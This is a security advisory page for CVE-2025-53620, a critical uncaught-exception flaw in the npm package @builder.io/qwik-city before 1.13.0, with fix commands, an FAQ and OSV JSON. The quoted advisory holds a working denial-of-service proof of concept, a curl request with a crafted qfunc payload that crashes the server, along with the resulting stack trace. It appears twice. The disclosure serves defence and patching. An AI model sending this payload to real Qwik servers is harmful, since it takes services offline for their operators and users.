CVE-2025-53620: @builder.io/qwik city Qwik's Unhandled Exception Vulnerabilty Can Vulnerability

CRITICAL
Advisory Identifier: GHSA-qr9h-j6xg-2j72
CWE-248
Published
Advisory Summary

CVE-2025-53620 is a CRITICAL qwik's unhandled exception vulnerabilty can vulnerability (CWE-248: Uncaught Exception) affecting @builder.io/qwik city libraries in the npm ecosystem. The issue involves qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests. Remediation is available by upgrading affected packages to version 1.13.0.

CVE-2025-53620 at a Glance

CVE Identifier CVE-2025-53620
GHSA Identifier GHSA-qr9h-j6xg-2j72
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-248: Uncaught Exception
Affected Product @builder.io/qwik city
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-53620

To remediate this vulnerability, upgrade all affected @builder.io/qwik city dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@builder.io/qwik-city fixed: 1.13.0
npm install @builder.io/qwik-city@1.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @builder.io/qwik-city

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-53620, inspect your project dependencies using npm:

npm ls @builder.io/qwik-city

Analyze the terminal output to locate any version of @builder.io/qwik city in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.13.0), your application is affected.

Note: The npm ls @builder.io/qwik-city command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In @builder.io/qwik city, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Possibility to craft a request that will crash the Qwik Server in the default configuration. ### Details When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. ### PoC 1. Setup a Qwik Project `pnpm create qwik@latest` 2. Start the Qwik Server using `pnpm run preview` 3. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \ --header 'Content-Type: application/qwik-json' \ --header 'X-Qrl: PPXYallGsCE' \ --data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}' ``` Here the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl. The Qwik Server will then crash with the message ``` qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported at file:///home/michele/Code/qwik/server/entry.preview.js:32:199 at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776) at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064) at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274) at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311 at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566) at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562) at process.processTicksAndRejections (node:internal/process/task_queues:95:5) at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000) at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559) node:internal/process/promises:289 triggerUncaughtException(err, true /* fromPromise */); ^ Error: Dynamic require of "_.js" is not supported at file:///home/michele/Code/qwik/server/entry.preview.js:32:199 at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776) at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064) at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274) at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311 at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566) at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562) at process.processTicksAndRejections (node:internal/process/task_queues:95:5) at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000) at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559) Node.js v21.7.2 ``` The same can also be repeated running Qwik in production using express. 1. Setup a Qwik Project `pnpm create qwik@latest` 2. Install the express middleware `pnpm run qwik add express` 3. Build the qwik app using `pnpm run build` 4. Start the server using `pnpm run serve` 5. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \ --header 'Content-Type: application/qwik-json' \ --header 'X-Qrl: PPXYallGsCE' \ --data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}' ``` ### Impact Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart. There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

CVE-2025-53620 Affected @builder.io/qwik city Versions

1 component(s)
Fixed Versions:
1.13.0
Product / Package Ecosystem Affected Versions Fixed Version
@builder.io/qwik-city
npm
< 1.13.0
1.13.0

References

Frequently Asked Questions

What is CVE-2025-53620?
CVE-2025-53620 is a security vulnerability in @builder.io/qwik city involving Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests under CWE-248: Uncaught Exception.
Which @builder.io/qwik city versions are affected?
Affected versions include releases prior to 1.13.0 across affected packages: @builder.io/qwik-city.
What version fixes CVE-2025-53620?
Upgrading to 1.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @builder.io/qwik-city affected?
Yes, @builder.io/qwik-city is affected in releases prior to 1.13.0. Upgrade your dependency to 1.13.0 or later.
What CWE is associated with CVE-2025-53620?
CVE-2025-53620 is classified under CWE-248: Uncaught Exception (An exception is thrown from a function, but it is not caught.).
How can I check npm dependencies for CVE-2025-53620?
Run the dependency tree command: 'npm ls @builder.io/qwik-city'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qr9h-j6xg-2j72",
  "modified" : "2025-07-09T22:37:21Z",
  "published" : "2025-07-09T18:10:29Z",
  "aliases" : [ "CVE-2025-53620" ],
  "summary" : "Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests",
  "details" : "### Summary\n\nPossibility to craft a request that will crash the Qwik Server in the default configuration.\n\n### Details\n\nWhen a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.\n\n### PoC\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Start the Qwik Server using `pnpm run preview`\n 3. Execute the following curl command to crash the instance\n```bash\ncurl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \\\n--header 'Content-Type: application/qwik-json' \\\n--header 'X-Qrl: PPXYallGsCE' \\\n--data '{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}'\n```\n\nHere the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.\n\nThe Qwik Server will then crash with the message\n\n```\nqrl s_PPXYallGsCE failed to load Error: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\nnode:internal/process/promises:289\n            triggerUncaughtException(err, true /* fromPromise */);\n            ^\n\nError: Dynamic require of \"_.js\" is not supported\n    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199\n    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)\n    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)\n    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)\n    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311\n    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)\n    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)\n    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)\n    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)\n    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)\n\nNode.js v21.7.2\n```\n\n\nThe same can also be repeated running Qwik in production using express.\n\n 1. Setup a Qwik Project `pnpm create qwik@latest`\n 2. Install the express middleware `pnpm run qwik add express`\n 3. Build the qwik app using `pnpm run build`\n 4. Start the server using `pnpm run serve`\n 5. Execute the following curl command to crash the instance\n```bash\ncurl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \\\n--header 'Content-Type: application/qwik-json' \\\n--header 'X-Qrl: PPXYallGsCE' \\\n--data '{\"_entry\":\"2\",\"_objs\":[\"\\u0002_#s_PPXYallGsCE\",1,[\"0\",\"1\"]]}'\n```\n\n### Impact\n\nAny Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.\n\nThere is also the issue that this can happen without a malicious attacker.\nWhen a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@builder.io/qwik-city"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/QwikDev/qwik/security/advisories/GHSA-qr9h-j6xg-2j72"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53620"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QwikDev/qwik/pull/7342"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/QwikDev/qwik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QwikDev/qwik/releases/tag/%40builder.io%2Fqwik%401.13.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-09T18:10:29Z",
    "nvd_published_at" : "2025-07-09T19:15:24Z"
  }
}